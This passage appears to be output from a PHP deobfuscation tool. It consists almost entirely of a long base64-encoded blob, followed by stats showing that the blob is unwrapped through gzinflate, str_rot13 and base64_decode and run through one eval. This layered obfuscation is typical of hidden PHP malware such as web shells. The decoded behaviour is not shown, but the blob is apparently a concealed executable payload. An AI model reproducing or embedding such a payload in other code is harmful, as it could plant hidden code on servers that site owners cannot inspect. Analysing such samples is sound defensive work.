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"))));
Function Calls
gzinflate | 1 |
str_rot13 | 1 |
base64_decode | 1 |
Stats
MD5 | cdc02f3f839bd4171390b1e6fbb59b48 |
Eval Count | 1 |
Decode Time | 750 ms |